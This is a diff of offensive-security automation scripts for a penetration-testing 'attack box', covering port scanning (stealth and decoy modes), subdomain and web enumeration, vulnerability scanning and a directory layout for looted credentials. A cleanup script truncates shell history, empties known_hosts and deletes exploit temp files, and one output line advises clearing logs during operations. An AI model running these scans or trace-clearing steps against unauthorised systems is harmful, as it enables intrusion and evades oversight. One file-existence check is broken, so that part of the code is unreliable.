||||
echo ""
|
||||
|
||||
# Provide recommendations based on findings
|
||||
echo -e "${BLUE}[*] Recommendations:${NC}"
|
||||
if ! pgrep openvpn > /dev/null 2>&1; then
|
||||
echo -e "${YELLOW} • Consider using VPN for enhanced anonymity${NC}"
|
||||
fi
|
||||
|
||||
if ! systemctl is-active tor >/dev/null 2>&1; then
|
||||
echo -e "${YELLOW} • Consider enabling Tor for additional anonymity${NC}"
|
||||
fi
|
||||
|
||||
echo -e "${GREEN} • Regularly monitor external IP changes${NC}"
|
||||
echo -e "${GREEN} • Clear logs periodically during operations${NC}"
|
||||
echo -e "${GREEN} • Use proxychains for sensitive network operations${NC}"
|
||||
+153
@@ -0,0 +1,153 @@
|
||||
#!/bin/bash
|
||||
# Automated Port Scanning Script for Attack Box
|
||||
# Usage: ./port_scan_automation.sh <target> [quick|full|stealth]
|
||||
|
||||
set -e
|
||||
|
||||
if [ $# -eq 0 ]; then
|
||||
echo "Usage: $0 <target> [quick|full|stealth]"
|
||||
echo "Example: $0 192.168.1.1 full"
|
||||
echo " $0 example.com quick"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
TARGET="$1"
|
||||
SCAN_TYPE="${2:-quick}"
|
||||
WORKSPACE="/root/operator/scans/nmap/$TARGET"
|
||||
DATE=$(date +%Y%m%d_%H%M%S)
|
||||
|
||||
# Colors for output
|
||||
RED='\033[0;31m'
|
||||
GREEN='\033[0;32m'
|
||||
YELLOW='\033[1;33m'
|
||||
BLUE='\033[0;34m'
|
||||
NC='\033[0m' # No Color
|
||||
|
||||
echo -e "${GREEN}[+] Starting port scan for: $TARGET${NC}"
|
||||
echo -e "${BLUE}[*] Scan type: $SCAN_TYPE${NC}"
|
||||
|
||||
# Create workspace
|
||||
mkdir -p "$WORKSPACE"
|
||||
cd "$WORKSPACE"
|
||||
|
||||
# Create log file
|
||||
LOG_FILE="portscan_$DATE.log"
|
||||
echo "Port scan started at $(date)" > "$LOG_FILE"
|
||||
|
||||
# Function to log and execute
|
||||
log_and_run() {
|
||||
echo -e "${YELLOW}[*] $1${NC}"
|
||||
echo "[$(date)] $1" >> "$LOG_FILE"
|
||||
eval "$2" 2>&1 | tee -a "$LOG_FILE"
|
||||
}
|
||||
|
||||
case $SCAN_TYPE in
|
||||
"quick")
|
||||
echo -e "${GREEN}[+] Quick Port Scan (Top 1000 ports)${NC}"
|
||||
log_and_run "Nmap quick scan" "nmap -T4 -F $TARGET -oA nmap_quick_$DATE"
|
||||
log_and_run "Rustscan quick" "rustscan -a $TARGET --ulimit 5000 -- -A"
|
||||
;;
|
||||
|
||||
"full")
|
||||
echo -e "${GREEN}[+] Full Port Scan (All 65535 ports)${NC}"
|
||||
log_and_run "Nmap SYN scan all ports" "nmap -sS -T4 -p- $TARGET -oA nmap_syn_all_$DATE"
|
||||
log_and_run "Nmap service detection on open ports" "nmap -sV -sC -T4 $TARGET -oA nmap_services_$DATE"
|
||||
log_and_run "Nmap UDP scan top ports" "nmap -sU --top-ports 1000 $TARGET -oA nmap_udp_$DATE"
|
||||
log_and_run "Masscan all ports" "masscan -p1-65535 $TARGET --rate=1000 -e tun0 2>/dev/null || echo 'Masscan failed - check interface'"
|
||||
;;
|
||||
|
||||
"stealth")
|
||||
echo -e "${GREEN}[+] Stealth Port Scan${NC}"
|
||||
log_and_run "Nmap stealth SYN scan" "nmap -sS -T2 -f --source-port 53 $TARGET -oA nmap_stealth_$DATE"
|
||||
log_and_run "Nmap decoy scan" "nmap -D RND:10 -T2 $TARGET -oA nmap_decoy_$DATE"
|
||||
;;
|
||||
|
||||
*)
|
||||
echo -e "${RED}[-] Invalid scan type. Use: quick, full, or stealth${NC}"
|
||||
exit 1
|
||||
;;
|
||||
esac
|
||||
|
||||
# Additional enumeration for common services
|
||||
echo -e "${GREEN}[+] Service-specific enumeration${NC}"
|
||||
|
||||
# Check for common vulnerabilities
|
||||
log_and_run "Nmap vulnerability scripts" "nmap --script vuln $TARGET -oA nmap_vulns_$DATE"
|
||||
|
||||
# Extract open ports for further enumeration
|
||||
if [ -f "nmap_*.gnmap" ]; then
|
||||
OPEN_PORTS=$(grep "open" nmap_*.gnmap | grep -oP '\d+/open' | cut -d'/' -f1 | sort -n | uniq | tr '\n' ',')
|
||||
echo -e "${BLUE}[*] Open ports found: $OPEN_PORTS${NC}"
|
||||
|
||||
# Service-specific scans
|
||||
if echo "$OPEN_PORTS" | grep -q "21"; then
|
||||
log_and_run "FTP enumeration" "nmap --script ftp-* -p 21 $TARGET"
|
||||
fi
|
||||
|
||||
if echo "$OPEN_PORTS" | grep -q "22"; then
|
||||
log_and_run "SSH enumeration" "nmap --script ssh-* -p 22 $TARGET"
|
||||
fi
|
||||
|
||||
if echo "$OPEN_PORTS" | grep -q "53"; then
|
||||
log_and_run "DNS enumeration" "nmap --script dns-* -p 53 $TARGET"
|
||||
if command -v dig &> /dev/null; then
|
||||
log_and_run "DNS zone transfer attempt" "dig @$TARGET axfr"
|
||||
fi
|
||||
fi
|
||||
|
||||
if echo "$OPEN_PORTS" | grep -E "(80|443|8080|8443)" &> /dev/null; then
|
||||
log_and_run "HTTP enumeration" "nmap --script http-* -p 80,443,8080,8443 $TARGET"
|
||||
fi
|
||||
|
||||
if echo "$OPEN_PORTS" | grep -q "139\|445"; then
|
||||
log_and_run "SMB enumeration" "nmap --script smb-* -p 139,445 $TARGET"
|
||||
if command -v enum4linux &> /dev/null; then
|
||||
log_and_run "enum4linux scan" "enum4linux $TARGET"
|
||||
fi
|
||||
fi
|
||||
|
||||
if echo "$OPEN_PORTS" | grep -q "1433"; then
|
||||
log_and_run "MSSQL enumeration" "nmap --script ms-sql-* -p 1433 $TARGET"
|
||||
fi
|
||||
|
||||
if echo "$OPEN_PORTS" | grep -q "3306"; then
|
||||
log_and_run "MySQL enumeration" "nmap --script mysql-* -p 3306 $TARGET"
|
||||
fi
|
||||
fi
|
||||
|
||||
# Generate summary
|
||||
echo -e "${GREEN}[+] Port Scan Complete!${NC}"
|
||||
echo -e "${BLUE}[*] Results saved in: $WORKSPACE${NC}"
|
||||
echo -e "${BLUE}[*] Log file: $LOG_FILE${NC}"
|
||||
|
||||
# Count open ports
|
||||
if ls nmap_*.gnmap 1> /dev/null 2>&1; then
|
||||
TOTAL_OPEN=$(grep -h "open" nmap_*.gnmap | wc -l)
|
||||
echo -e "${BLUE}[*] Total open ports found: $TOTAL_OPEN${NC}"
|
||||
fi
|
||||
|
||||
# Generate simple report
|
||||
cat > "portscan_report.txt" << EOF
|
||||
Port Scan Report for $TARGET
|
||||
=============================
|
||||
Scan Type: $SCAN_TYPE
|
||||
Date: $(date)
|
||||
Workspace: $WORKSPACE
|
||||
|
||||
Open Ports:
|
||||
$(grep -h "open" nmap_*.gnmap 2>/dev/null | head -20 || echo "No open ports found in gnmap files")
|
||||
|
||||
Summary:
|
||||
- Scan completed successfully
|
||||
- Results saved in multiple formats (.nmap, .xml, .gnmap)
|
||||
- Log file: $LOG_FILE
|
||||
|
||||
Next Steps:
|
||||
1. Review service versions for known vulnerabilities
|
||||
2. Run targeted service enumeration
|
||||
3. Check for default credentials
|
||||
4. Look for misconfigurations
|
||||
EOF
|
||||
|
||||
echo -e "${GREEN}[+] Report generated: portscan_report.txt${NC}"
|
||||
echo "Port scan completed at $(date)" >> "$LOG_FILE"
|
||||
Executable
+123
@@ -0,0 +1,123 @@
|
||||
#!/bin/bash
|
||||
# Automated Reconnaissance Script for Attack Box
|
||||
# Usage: ./recon_automation.sh <target_domain>
|
||||
|
||||
set -e
|
||||
|
||||
if [ $# -eq 0 ]; then
|
||||
echo "Usage: $0 <target_domain>"
|
||||
echo "Example: $0 example.com"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
TARGET="$1"
|
||||
WORKSPACE="/root/operator/scans/reachability/$TARGET"
|
||||
DATE=$(date +%Y%m%d_%H%M%S)
|
||||
|
||||
# Colors for output
|
||||
RED='\033[0;31m'
|
||||
GREEN='\033[0;32m'
|
||||
YELLOW='\033[1;33m'
|
||||
BLUE='\033[0;34m'
|
||||
NC='\033[0m' # No Color
|
||||
|
||||
echo -e "${GREEN}[+] Starting reconnaissance for: $TARGET${NC}"
|
||||
echo -e "${BLUE}[*] Creating workspace directory: $WORKSPACE${NC}"
|
||||
|
||||
# Create workspace
|
||||
mkdir -p "$WORKSPACE"
|
||||
cd "$WORKSPACE"
|
||||
|
||||
# Create log file
|
||||
LOG_FILE="recon_$DATE.log"
|
||||
echo "Reconnaissance started at $(date)" > "$LOG_FILE"
|
||||
|
||||
# Function to log and execute
|
||||
log_and_run() {
|
||||
echo -e "${YELLOW}[*] $1${NC}"
|
||||
echo "[$(date)] $1" >> "$LOG_FILE"
|
||||
eval "$2" 2>&1 | tee -a "$LOG_FILE"
|
||||
}
|
||||
|
||||
# Subdomain enumeration
|
||||
echo -e "${GREEN}[+] Phase 1: Subdomain Enumeration${NC}"
|
||||
log_and_run "Running Subfinder" "subfinder -d $TARGET -o subdomains_subfinder.txt"
|
||||
log_and_run "Running Assetfinder" "assetfinder --subs-only $TARGET > subdomains_assetfinder.txt"
|
||||
log_and_run "Running Amass" "amass enum -passive -d $TARGET -o subdomains_amass.txt"
|
||||
|
||||
# Combine and deduplicate subdomains
|
||||
log_and_run "Combining subdomain lists" "cat subdomains_*.txt | sort -u > all_subdomains.txt"
|
||||
|
||||
# Check which subdomains are alive
|
||||
echo -e "${GREEN}[+] Phase 2: Checking Live Subdomains${NC}"
|
||||
log_and_run "Checking live subdomains with httprobe" "cat all_subdomains.txt | httprobe -c 50 > live_subdomains.txt"
|
||||
|
||||
# Port scanning on live subdomains
|
||||
echo -e "${GREEN}[+] Phase 3: Port Scanning${NC}"
|
||||
log_and_run "Running Nmap on live subdomains" "nmap -T4 -iL live_subdomains.txt -oA nmap_scan"
|
||||
|
||||
# Web technology detection
|
||||
echo -e "${GREEN}[+] Phase 4: Web Technology Detection${NC}"
|
||||
log_and_run "Running whatweb" "whatweb -i live_subdomains.txt -a 3 > whatweb_results.txt"
|
||||
|
||||
# Screenshot and visual recon
|
||||
echo -e "${GREEN}[+] Phase 5: Visual Reconnaissance${NC}"
|
||||
if command -v aquatone &> /dev/null; then
|
||||
log_and_run "Taking screenshots with Aquatone" "cat live_subdomains.txt | aquatone -out aquatone_report"
|
||||
fi
|
||||
|
||||
# Directory bruteforcing
|
||||
echo -e "${GREEN}[+] Phase 6: Directory Enumeration${NC}"
|
||||
mkdir -p directory_enum
|
||||
while IFS= read -r url; do
|
||||
if [[ $url == http* ]]; then
|
||||
clean_url=$(echo "$url" | sed 's|http://||g' | sed 's|https://||g' | tr '/' '_')
|
||||
log_and_run "Running gobuster on $url" "gobuster dir -u $url -w /usr/share/wordlists/dirb/common.txt -o directory_enum/gobuster_$clean_url.txt -q"
|
||||
fi
|
||||
done < live_subdomains.txt
|
||||
|
||||
# Vulnerability scanning with Nuclei
|
||||
echo -e "${GREEN}[+] Phase 7: Vulnerability Scanning${NC}"
|
||||
log_and_run "Running Nuclei" "nuclei -l live_subdomains.txt -t ~/nuclei-templates/ -o nuclei_results.txt"
|
||||
|
||||
# Summary
|
||||
echo -e "${GREEN}[+] Reconnaissance Complete!${NC}"
|
||||
echo -e "${BLUE}[*] Results saved in: $WORKSPACE${NC}"
|
||||
echo -e "${BLUE}[*] Total subdomains found: $(wc -l < all_subdomains.txt)${NC}"
|
||||
echo -e "${BLUE}[*] Live subdomains: $(wc -l < live_subdomains.txt)${NC}"
|
||||
echo -e "${BLUE}[*] Log file: $LOG_FILE${NC}"
|
||||
|
||||
# Generate simple HTML report
|
||||
cat > "recon_report.html" << EOF
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>Reconnaissance Report - $TARGET</title>
|
||||
<style>
|
||||
body { font-family: Arial, sans-serif; margin: 40px; }
|
||||
h1 { color: #333; }
|
||||
h2 { color: #666; }
|
||||
.stats { background: #f0f0f0; padding: 10px; margin: 10px 0; }
|
||||
pre { background: #f8f8f8; padding: 10px; overflow-x: auto; }
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<h1>Reconnaissance Report for $TARGET</h1>
|
||||
<div class="stats">
|
||||
<h2>Statistics</h2>
|
||||
<p>Total Subdomains Found: $(wc -l < all_subdomains.txt)</p>
|
||||
<p>Live Subdomains: $(wc -l < live_subdomains.txt)</p>
|
||||
<p>Scan Date: $(date)</p>
|
||||
</div>
|
||||
|
||||
<h2>Live Subdomains</h2>
|
||||
<pre>$(cat live_subdomains.txt)</pre>
|
||||
|
||||
<h2>Port Scan Results</h2>
|
||||
<pre>$(cat nmap_scan.nmap 2>/dev/null || echo "Nmap results not available")</pre>
|
||||
</body>
|
||||
</html>
|
||||
EOF
|
||||
|
||||
echo -e "${GREEN}[+] HTML report generated: recon_report.html${NC}"
|
||||
echo "Reconnaissance completed at $(date)" >> "$LOG_FILE"
|
||||
Executable
+93
@@ -0,0 +1,93 @@
|
||||
#!/bin/bash
|
||||
# Trash Cleanup Script
|
||||
# Safely removes operational artifacts and cleans system
|
||||
|
||||
GREEN='\033[0;32m'
|
||||
YELLOW='\033[1;33m'
|
||||
BLUE='\033[0;34m'
|
||||
NC='\033[0m'
|
||||
|
||||
echo -e "${BLUE}=== OPERATIONAL CLEANUP ===${NC}"
|
||||
echo ""
|
||||
|
||||
# Get working directory
|
||||
if [ -n "$1" ]; then
|
||||
WORK_DIR="$1"
|
||||
else
|
||||
# Auto-detect working directory
|
||||
if [ -d "/root/operator" ]; then
|
||||
WORK_DIR="/root/operator"
|
||||
else
|
||||
# Find deployment-named directory
|
||||
WORK_DIR=$(find /root -maxdepth 1 -type d -name "*[a-z]*[a-z]*" 2>/dev/null | head -1)
|
||||
if [ -z "$WORK_DIR" ]; then
|
||||
WORK_DIR="/root"
|
||||
fi
|
||||
fi
|
||||
fi
|
||||
|
||||
echo -e "${BLUE}[*] Working directory: $WORK_DIR${NC}"
|
||||
|
||||
# Clean scan results older than 7 days
|
||||
if [ -d "$WORK_DIR/scans" ]; then
|
||||
echo -e "${YELLOW}[*] Cleaning old scan results (>7 days)${NC}"
|
||||
find "$WORK_DIR/scans" -type f -mtime +7 -name "*.xml" -delete 2>/dev/null
|
||||
find "$WORK_DIR/scans" -type f -mtime +7 -name "*.txt" -delete 2>/dev/null
|
||||
find "$WORK_DIR/scans" -type f -mtime +7 -name "*.log" -delete 2>/dev/null
|
||||
fi
|
||||
|
||||
# Clean temporary loot
|
||||
if [ -d "$WORK_DIR/loot" ]; then
|
||||
echo -e "${YELLOW}[*] Cleaning temporary loot files${NC}"
|
||||
find "$WORK_DIR/loot" -name "*.tmp" -delete 2>/dev/null
|
||||
find "$WORK_DIR/loot" -name "temp_*" -delete 2>/dev/null
|
||||
fi
|
||||
|
||||
# Clean logs older than 30 days
|
||||
if [ -d "$WORK_DIR/logs" ]; then
|
||||
echo -e "${YELLOW}[*] Cleaning old logs (>30 days)${NC}"
|
||||
find "$WORK_DIR/logs" -type f -mtime +30 -delete 2>/dev/null
|
||||
fi
|
||||
|
||||
# Clean empty directories
|
||||
echo -e "${YELLOW}[*] Removing empty directories${NC}"
|
||||
find "$WORK_DIR" -type d -empty -delete 2>/dev/null
|
||||
|
||||
# Clean system temp files
|
||||
echo -e "${YELLOW}[*] Cleaning system temporary files${NC}"
|
||||
rm -f /tmp/nmap_* 2>/dev/null
|
||||
rm -f /tmp/scan_* 2>/dev/null
|
||||
rm -f /tmp/exploit_* 2>/dev/null
|
||||
rm -f /tmp/*.tmp 2>/dev/null
|
||||
|
||||
# Rotate command history
|
||||
echo -e "${YELLOW}[*] Rotating command history${NC}"
|
||||
if [ -f ~/.bash_history ]; then
|
||||
tail -n 100 ~/.bash_history > /tmp/hist_tmp && mv /tmp/hist_tmp ~/.bash_history
|
||||
fi
|
||||
|
||||
# Clean network artifacts
|
||||
echo -e "${YELLOW}[*] Clearing network artifacts${NC}"
|
||||
> ~/.ssh/known_hosts
|
||||
|
||||
# Update file permissions
|
||||
echo -e "${YELLOW}[*] Updating file permissions${NC}"
|
||||
if [ -d "$WORK_DIR" ]; then
|
||||
chmod -R 750 "$WORK_DIR" 2>/dev/null
|
||||
find "$WORK_DIR" -name "*.sh" -exec chmod +x {} \; 2>/dev/null
|
||||
fi
|
||||
|
||||
# Compress old files
|
||||
echo -e "${YELLOW}[*] Compressing old files${NC}"
|
||||
if [ -d "$WORK_DIR/reports" ]; then
|
||||
find "$WORK_DIR/reports" -name "*.txt" -mtime +7 -exec gzip {} \; 2>/dev/null
|
||||
fi
|
||||
|
||||
echo ""
|
||||
echo -e "${GREEN}=== CLEANUP COMPLETE ===${NC}"
|
||||
echo -e "${BLUE}Summary:${NC}"
|
||||
echo -e "${GREEN} ✓ Old scan results cleaned${NC}"
|
||||
echo -e "${GREEN} ✓ Temporary files removed${NC}"
|
||||
echo -e "${GREEN} ✓ Logs rotated${NC}"
|
||||
echo -e "${GREEN} ✓ Permissions updated${NC}"
|
||||
echo -e "${GREEN} ✓ Network artifacts cleared${NC}"
|
||||
File diff suppressed because it is too large
Load Diff
+230
@@ -0,0 +1,230 @@
|
||||
#!/bin/bash
|
||||
# Web Application Enumeration Script for Attack Box
|
||||
# Usage: ./web_enum_automation.sh <target_url>
|
||||
|
||||
set -e
|
||||
|
||||
if [ $# -eq 0 ]; then
|
||||
echo "Usage: $0 <target_url>"
|
||||
echo "Example: $0 https://example.com"
|
||||
echo " $0 http://192.168.1.100:8080"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
TARGET_URL="$1"
|
||||
# Extract domain/IP for workspace naming
|
||||
TARGET_CLEAN=$(echo "$TARGET_URL" | sed 's|https\?://||g' | sed 's|/.*||g' | tr ':' '_')
|
||||
WORKSPACE="/root/operator/scans/web/$TARGET_CLEAN"
|
||||
DATE=$(date +%Y%m%d_%H%M%S)
|
||||
|
||||
# Colors for output
|
||||
RED='\033[0;31m'
|
||||
GREEN='\033[0;32m'
|
||||
YELLOW='\033[1;33m'
|
||||
BLUE='\033[0;34m'
|
||||
NC='\033[0m' # No Color
|
||||
|
||||
echo -e "${GREEN}[+] Starting web enumeration for: $TARGET_URL${NC}"
|
||||
|
||||
# Create workspace
|
||||
mkdir -p "$WORKSPACE"
|
||||
cd "$WORKSPACE"
|
||||
|
||||
# Create log file
|
||||
LOG_FILE="web_enum_$DATE.log"
|
||||
echo "Web enumeration started at $(date)" > "$LOG_FILE"
|
||||
|
||||
# Function to log and execute
|
||||
log_and_run() {
|
||||
echo -e "${YELLOW}[*] $1${NC}"
|
||||
echo "[$(date)] $1" >> "$LOG_FILE"
|
||||
eval "$2" 2>&1 | tee -a "$LOG_FILE"
|
||||
}
|
||||
|
||||
# Basic web info gathering
|
||||
echo -e "${GREEN}[+] Phase 1: Basic Information Gathering${NC}"
|
||||
log_and_run "Getting HTTP headers" "curl -I $TARGET_URL"
|
||||
log_and_run "Checking robots.txt" "curl -s $TARGET_URL/robots.txt"
|
||||
log_and_run "Checking sitemap.xml" "curl -s $TARGET_URL/sitemap.xml"
|
||||
|
||||
# Technology detection
|
||||
echo -e "${GREEN}[+] Phase 2: Technology Detection${NC}"
|
||||
log_and_run "Running whatweb" "whatweb -a 3 $TARGET_URL"
|
||||
if command -v wappalyzer &> /dev/null; then
|
||||
log_and_run "Running Wappalyzer" "wappalyzer $TARGET_URL"
|
||||
fi
|
||||
|
||||
# Directory and file enumeration
|
||||
echo -e "${GREEN}[+] Phase 3: Directory and File Enumeration${NC}"
|
||||
|
||||
# Gobuster with common wordlist
|
||||
log_and_run "Gobuster directory enumeration (common)" "gobuster dir -u $TARGET_URL -w /usr/share/wordlists/dirb/common.txt -o gobuster_common.txt -q"
|
||||
|
||||
# Gobuster with bigger wordlist
|
||||
if [ -f "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" ]; then
|
||||
log_and_run "Gobuster directory enumeration (medium)" "gobuster dir -u $TARGET_URL -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -o gobuster_medium.txt -q --timeout 10s"
|
||||
fi
|
||||
|
||||
# File extension enumeration
|
||||
log_and_run "Gobuster file enumeration" "gobuster dir -u $TARGET_URL -w /usr/share/wordlists/dirb/common.txt -x txt,php,html,js,xml,json,bak,old -o gobuster_files.txt -q"
|
||||
|
||||
# Alternative directory tools
|
||||
if command -v dirb &> /dev/null; then
|
||||
log_and_run "Dirb enumeration" "dirb $TARGET_URL -o dirb_results.txt"
|
||||
fi
|
||||
|
||||
if command -v ffuf &> /dev/null; then
|
||||
log_and_run "FFUF enumeration" "ffuf -w /usr/share/wordlists/dirb/common.txt -u $TARGET_URL/FUZZ -o ffuf_results.json -of json -s"
|
||||
fi
|
||||
|
||||
# Subdomain enumeration (if it's a domain)
|
||||
if [[ $TARGET_URL == *"."* ]] && [[ $TARGET_URL != *[0-9]* ]]; then
|
||||
echo -e "${GREEN}[+] Phase 4: Subdomain Enumeration${NC}"
|
||||
DOMAIN=$(echo "$TARGET_URL" | sed 's|https\?://||g' | sed 's|/.*||g' | cut -d':' -f1)
|
||||
log_and_run "Gobuster subdomain enumeration" "gobuster dns -d $DOMAIN -w /usr/share/wordlists/dirb/common.txt -o gobuster_subdomains.txt -q"
|
||||
fi
|
||||
|
||||
# Web vulnerability scanning
|
||||
echo -e "${GREEN}[+] Phase 5: Vulnerability Scanning${NC}"
|
||||
log_and_run "Nikto scan" "nikto -h $TARGET_URL -o nikto_results.txt"
|
||||
|
||||
# Nuclei web templates
|
||||
if command -v nuclei &> /dev/null; then
|
||||
log_and_run "Nuclei web vulnerability scan" "nuclei -u $TARGET_URL -t ~/nuclei-templates/http/ -o nuclei_web_results.txt"
|
||||
fi
|
||||
|
||||
# SSL/TLS testing (for HTTPS)
|
||||
if [[ $TARGET_URL == https* ]]; then
|
||||
echo -e "${GREEN}[+] Phase 6: SSL/TLS Testing${NC}"
|
||||
DOMAIN=$(echo "$TARGET_URL" | sed 's|https://||g' | sed 's|/.*||g')
|
||||
log_and_run "SSL certificate information" "openssl s_client -connect $DOMAIN:443 -servername $DOMAIN < /dev/null 2>/dev/null | openssl x509 -text -noout"
|
||||
|
||||
if command -v sslscan &> /dev/null; then
|
||||
log_and_run "SSLScan" "sslscan $DOMAIN"
|
||||
fi
|
||||
|
||||
if command -v testssl.sh &> /dev/null; then
|
||||
log_and_run "TestSSL" "testssl.sh $TARGET_URL"
|
||||
fi
|
||||
fi
|
||||
|
||||
# Web application firewall detection
|
||||
echo -e "${GREEN}[+] Phase 7: WAF Detection${NC}"
|
||||
if command -v wafw00f &> /dev/null; then
|
||||
log_and_run "WAF detection" "wafw00f $TARGET_URL"
|
||||
fi
|
||||
|
||||
# Content discovery and analysis
|
||||
echo -e "${GREEN}[+] Phase 8: Content Analysis${NC}"
|
||||
|
||||
# Find interesting files and directories
|
||||
echo -e "${BLUE}[*] Analyzing discovered content...${NC}"
|
||||
if [ -f "gobuster_common.txt" ]; then
|
||||
echo "Interesting directories found:" >> content_analysis.txt
|
||||
grep -E "(admin|login|api|config|backup|test|dev)" gobuster_common.txt >> content_analysis.txt 2>/dev/null || echo "No interesting directories found" >> content_analysis.txt
|
||||
fi
|
||||
|
||||
# Parameter discovery
|
||||
if command -v arjun &> /dev/null; then
|
||||
log_and_run "Parameter discovery with Arjun" "arjun -u $TARGET_URL -o arjun_params.txt"
|
||||
fi
|
||||
|
||||
# JavaScript analysis
|
||||
log_and_run "Finding JavaScript files" "curl -s $TARGET_URL | grep -oP '(?<=src=\")[^\"]*\.js(?=\")' | head -10 > js_files.txt"
|
||||
|
||||
# Generate summary report
|
||||
echo -e "${GREEN}[+] Web Enumeration Complete!${NC}"
|
||||
echo -e "${BLUE}[*] Results saved in: $WORKSPACE${NC}"
|
||||
echo -e "${BLUE}[*] Log file: $LOG_FILE${NC}"
|
||||
|
||||
# Count discovered items
|
||||
DIRS_FOUND=0
|
||||
FILES_FOUND=0
|
||||
if [ -f "gobuster_common.txt" ]; then
|
||||
DIRS_FOUND=$(wc -l < gobuster_common.txt)
|
||||
fi
|
||||
if [ -f "gobuster_files.txt" ]; then
|
||||
FILES_FOUND=$(wc -l < gobuster_files.txt)
|
||||
fi
|
||||
|
||||
echo -e "${BLUE}[*] Directories found: $DIRS_FOUND${NC}"
|
||||
echo -e "${BLUE}[*] Files found: $FILES_FOUND${NC}"
|
||||
|
||||
# Generate HTML report
|
||||
cat > "web_enum_report.html" << EOF
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>Web Enumeration Report - $TARGET_URL</title>
|
||||
<style>
|
||||
body { font-family: Arial, sans-serif; margin: 40px; }
|
||||
h1 { color: #333; }
|
||||
h2 { color: #666; }
|
||||
.stats { background: #f0f0f0; padding: 10px; margin: 10px 0; }
|
||||
pre { background: #f8f8f8; padding: 10px; overflow-x: auto; }
|
||||
.finding { background: #ffffcc; padding: 5px; margin: 5px 0; }
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<h1>Web Enumeration Report</h1>
|
||||
<p><strong>Target:</strong> $TARGET_URL</p>
|
||||
|
||||
<div class="stats">
|
||||
<h2>Statistics</h2>
|
||||
<p>Directories Found: $DIRS_FOUND</p>
|
||||
<p>Files Found: $FILES_FOUND</p>
|
||||
<p>Scan Date: $(date)</p>
|
||||
</div>
|
||||
|
||||
<h2>Discovered Directories</h2>
|
||||
<pre>$(cat gobuster_common.txt 2>/dev/null | head -20 || echo "No directories file found")</pre>
|
||||
|
||||
<h2>Discovered Files</h2>
|
||||
<pre>$(cat gobuster_files.txt 2>/dev/null | head -20 || echo "No files found")</pre>
|
||||
|
||||
<h2>Technology Stack</h2>
|
||||
<pre>$(grep -A 10 "Running whatweb" $LOG_FILE 2>/dev/null | tail -n +2 | head -10 || echo "Technology detection results not available")</pre>
|
||||
|
||||
<h2>Security Findings</h2>
|
||||
<pre>$(cat nikto_results.txt 2>/dev/null | head -20 || echo "Nikto results not available")</pre>
|
||||
</body>
|
||||
</html>
|
||||
EOF
|
||||
|
||||
echo -e "${GREEN}[+] HTML report generated: web_enum_report.html${NC}"
|
||||
|
||||
# Next steps suggestions
|
||||
cat > "next_steps.txt" << EOF
|
||||
Next Steps for $TARGET_URL:
|
||||
===========================
|
||||
|
||||
1. Manual Testing:
|
||||
- Browse discovered directories manually
|
||||
- Test for authentication bypasses
|
||||
- Look for file upload functionality
|
||||
- Check for SQL injection points
|
||||
|
||||
2. Focused Scanning:
|
||||
- Run OWASP ZAP or Burp Suite
|
||||
- Test for XSS vulnerabilities
|
||||
- Check for CSRF tokens
|
||||
- Test API endpoints if found
|
||||
|
||||
3. Exploitation:
|
||||
- Research CVEs for identified technologies
|
||||
- Test default credentials
|
||||
- Look for configuration files with sensitive data
|
||||
- Check for local file inclusion vulnerabilities
|
||||
|
||||
4. Further Enumeration:
|
||||
- Use custom wordlists for your target
|
||||
- Check for backup files (.bak, .old, .swp)
|
||||
- Look for version control directories (.git, .svn)
|
||||
- Test for subdomain takeover
|
||||
|
||||
Files to review:
|
||||
$(ls -la *.txt *.html *.json 2>/dev/null || echo "No additional files found")
|
||||
EOF
|
||||
|
||||
echo -e "${GREEN}[+] Next steps guide generated: next_steps.txt${NC}"
|
||||
echo "Web enumeration completed at $(date)" >> "$LOG_FILE"
|
||||
+233
@@ -0,0 +1,233 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Workspace Structure Generator for Attack Box
|
||||
Creates trashpanda-style penetration testing directory structure
|
||||
"""
|
||||
|
||||
import os
|
||||
import time
|
||||
from pathlib import Path
|
||||
|
||||
def create_workspace_structure(base_name="/root/operator", operator="operator"):
|
||||
"""Create a comprehensive penetration testing directory structure like trashpanda."""
|
||||
|
||||
# Main engagement directory
|
||||
base_dir = os.path.abspath(base_name)
|
||||
|
||||
# Primary directories (based on trashpanda structure)
|
||||
main_dirs = {
|
||||
"tools": "Downloaded/compiled tools and scripts",
|
||||
"scans": "All scan results organized by type",
|
||||
"logs": "Execution logs and debug output",
|
||||
"loot": "Extracted credentials, hashes, and sensitive data",
|
||||
"payloads": "Custom payloads and exploit code",
|
||||
"targets": "Target lists and reconnaissance data",
|
||||
"screenshots": "Visual evidence and GUI captures",
|
||||
"reports": "Draft reports and documentation",
|
||||
"notes": "Manual notes and observations",
|
||||
"exploits": "Working exploits and proof-of-concepts",
|
||||
"wordlists": "Custom and downloaded wordlists",
|
||||
"pcaps": "Network captures and traffic analysis"
|
||||
}
|
||||
|
||||
# Scan subdirectories (comprehensive enumeration structure)
|
||||
scan_subdirs = {
|
||||
"nmap": "Network discovery and port scanning",
|
||||
"dns": "DNS enumeration and zone transfers",
|
||||
"snmp": "SNMP enumeration and community strings",
|
||||
"smb": "SMB/NetBIOS enumeration and shares",
|
||||
"web": "Web application scanning and enumeration",
|
||||
"ssl": "SSL/TLS certificate and cipher analysis",
|
||||
"vulns": "Vulnerability scanning and NSE scripts",
|
||||
"ldap": "LDAP enumeration and directory services",
|
||||
"ftp": "FTP enumeration and anonymous access",
|
||||
"ssh": "SSH enumeration and key analysis",
|
||||
"databases": "Database enumeration (MySQL, MSSQL, etc)",
|
||||
"custom": "Custom and manual scans",
|
||||
"reachability": "Network reachability test results"
|
||||
}
|
||||
|
||||
# Loot subdirectories (for extracted data)
|
||||
loot_subdirs = {
|
||||
"credentials": "Usernames, passwords, and authentication data",
|
||||
"hashes": "Password hashes and cracking results",
|
||||
"keys": "SSH keys, certificates, and crypto material",
|
||||
"configs": "Configuration files and sensitive data",
|
||||
"databases": "Extracted database contents",
|
||||
"files": "Interesting files and documents"
|
||||
}
|
||||
|
||||
print(f"[+] Creating penetration testing structure: {base_dir}")
|
||||
|
||||
# Create main directories
|
||||
